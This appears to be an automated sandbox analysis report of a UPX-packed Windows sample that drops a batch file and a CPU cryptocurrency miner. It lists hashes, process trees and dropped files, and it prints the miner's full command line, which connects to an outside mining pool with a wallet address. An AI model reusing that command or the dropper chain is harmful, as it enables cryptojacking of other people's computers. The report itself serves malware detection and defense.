73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
305s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
18/02/2024, 10:47

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2784	b2e.exe
4288	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4288	cpuminer-sse2.exe
4288	cpuminer-sse2.exe
4288	cpuminer-sse2.exe
4288	cpuminer-sse2.exe
4288	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4212-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4212 wrote to memory of 2784	4212	batexe.exe	73
PID 4212 wrote to memory of 2784	4212	batexe.exe	73
PID 4212 wrote to memory of 2784	4212	batexe.exe	73
PID 2784 wrote to memory of 3956	2784	b2e.exe	74
PID 2784 wrote to memory of 3956	2784	b2e.exe	74
PID 2784 wrote to memory of 3956	2784	b2e.exe	74
PID 3956 wrote to memory of 4288	3956	cmd.exe	77
PID 3956 wrote to memory of 4288	3956	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4212
- C:\Users\Admin\AppData\Local\Temp\C16B.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\C16B.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\C16B.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2784
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\C62E.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3956
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4288

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\C16B.tmp\b2e.exe

Filesize
3.7MB

MD5
1159e61025af4499c4aee245391fbaa7

SHA1
6941af22b356ba5b630cd97791029006a9ac5fa4

SHA256
09acfb4f01e9780934a8a94c5fc693816d92723dbcad062494742a9d0168ce8e

SHA512
4413550ea82a8f3ffccb42094a208abfc0c4b033e646e7766ed6610e82eadceec6961af17c5302770a3cfa7185b72e9170a0f21de157628c4f7303cb03c452bf

Download Submit
C:\Users\Admin\AppData\Local\Temp\C16B.tmp\b2e.exe

Filesize
3.5MB

MD5
3d6445d0cd50345da36e4fb14a9038a3

SHA1
ce72b4feb09f9ee75eddb7406f3fcf6b5c18a855

SHA256
f8d3f1122ddab7aed127e887ef0a3e7580989ef57ea2ff808ccf5cc5a9bd8cf9

SHA512
57770653c5e0454a92644085e9406224a76f5f9b397de2ead0a7e06ad756ae100dfd329bdf2c703219f9a609b93f2057a5f44e0d21c82fa6b3b2c7db5a9f08b5

Download Submit
C:\Users\Admin\AppData\Local\Temp\C62E.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.4MB

MD5
2ef40d5c3b964c66392be6a3db51bf84

SHA1
391a644aa11504129db4b42007b054f2c3bf5414

SHA256
0ef835e2576ba8fbfcd733a66284579607cc8dafdc2b26fe3c0091dc66d8e707

SHA512
0b568c8b5ef88af49c00801cd5eaf3e7262367d2a3356f1a685d36e3c1dff63babb5dd049d5a1e7fbe214cab35e6f271d0a105e073a1fb2c281bb5c0279b7107

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.2MB

MD5
f1ca0e4f8c80894a61a5945f2fc27c61

SHA1
5d8469a5db2409fefd4dd907e3f4e21d888212d2

SHA256
85a6a3bf0a70ef299bf81f721b492de7d5dc9a8f73a7157c6c41bd4d8bf2957e

SHA512
1859c39c68c69f7d76e987b8593932f0a059fcb48d5be21bb8bb8649bcafcd4f1951043c70be114484650d08deaa1b90bd35510db7ee6a1af1cda75b6af9f3c1

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
640KB

MD5
ac7d1c3bb4d3c69372907331267c1ee7

SHA1
fa82689799785ef9ab4c304b1c1a6d2d9a961928

SHA256
d22689ab67764158df7b19e8d78ec1393899f21e390f469a300975a31106c3aa

SHA512
0d541661060d7c5eed486ea0377142e7d3883b3c0935114679af28bcae0b1767585fe06328955cf59aab4fe3d4acfba525dbc42675fbce80b7d0b2300784d125

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
448KB

MD5
8185100383d0fe360c9198e5a883b08d

SHA1
ab398c469573f8e84d3cfcef01287a0604d6ab5f

SHA256
05ef7288b0d559bf67c3d69c201da9bdcaed0b49ecc538640f7b96c5b82eb538

SHA512
24930ef0caa1f2db2ed60f7dfdb832a172cf7747b0a336b051f73c0087a5f2fabff721487cb49cf5a3bc2be5426554b0a3a0e51541b6a4ca735646af24f1404a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
320KB

MD5
e748e3357af6e4674ff8962691273b0d

SHA1
0acfc30d68a1ef7c6790a79270864448f70f0aa8

SHA256
84ff770c784909548dbca7bd2a24c8e82338b142f2d4893023e25c52f70e8d14

SHA512
0bd15154698983c85b46810d8fef9092f4d0725882421d6db61f168873af967808c467b924dcb8ee72aaad6e10202edab14916580fc442e14b9d8c85f9d07dcc

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
256KB

MD5
11e8812bfa1d698cdeb73a16c1d7c963

SHA1
e8708fd452ab5946b380d0c353ac26acf289e548

SHA256
e0f9ddf8afd30511763f0cf792369e32c955f15d9529c00c5fe9298a80d74402

SHA512
fd54c9c6f3520b2ced6b42235ebfce6d8b622c53f1fbf810baace657a7d44430968b5ff90cd1d860dbdf7550dd8cd467636c862ff0dd0832f25145efccc7731e

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
192KB

MD5
d73b46cd072058efc54c4b3885f47e13

SHA1
84771c2c4f5736ac08497737cba2a8634d9e9178

SHA256
3f62bb203bdcca4e489401897e0558cf33ad6fe890a9987f90f5c3894b965b34

SHA512
519c91b5b5a82c5a755d7d4295c040cfb6b0f029eb088a6bfc428db11e30d7f954ea6fd6de9b083d1781e1142737ea39572866ab5f669848dff7ef0ce34c79c7

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
128KB

MD5
9746d1ac79c8b499d8b2224394581fa7

SHA1
36b1985eabfd8131ad9f2b7f69c903a3fce67629

SHA256
77941fbe96e0c797e6cf5419ee32bd3fcee69629cba37750146656a660c37182

SHA512
61a6174e2aced5b85cd614ad2f9d3da24c6b91e1fc04e10ff818222c4323cd043a59708bd35af0de84b004bf492fbc157d72907cd1e7ddf7082fc2a3563ef183

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
192KB

MD5
62069650d62f76a4cdf0e81172d99993

SHA1
3b20ec5b4a4320ee15b0f7b9715a9ab90f68346e

SHA256
779a5590c667d9a704b79e159259c0646737394fd66a9c0b12d13f9445ca091c

SHA512
ae1954a84fb7543465e77a4cd5cc1bdeee0cf848592958633e6c51702b42131daae64c302d5c9537c59a9b3ba9498e5bf913d1f6f757ccdb8c4183b33224852b

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
256KB

MD5
eca0c37eee65c31b869788d5d0bf00cd

SHA1
33a5c0cd2f0a7296a5c0169699ed8e065b57e5e8

SHA256
1d2b7bd4ddd99d627d5111252baadf028dc9910cf414892867502e5951de962e

SHA512
5f302da7772fca0a6d03ffd8732850f526acf5fcc33e189d2d906a33101454d970d5cca2f829a006d15c4a857341d72c7876cb2e7af84ada4f158695aba5a4dc

Download Submit
memory/2784-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2784-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4212-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4288-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/4288-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4288-42-0x0000000072DA0000-0x0000000072E38000-memory.dmp

Filesize
608KB

Download
memory/4288-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4288-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4288-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4288-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4288-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4288-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4288-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4288-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4288-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4288-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4288-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download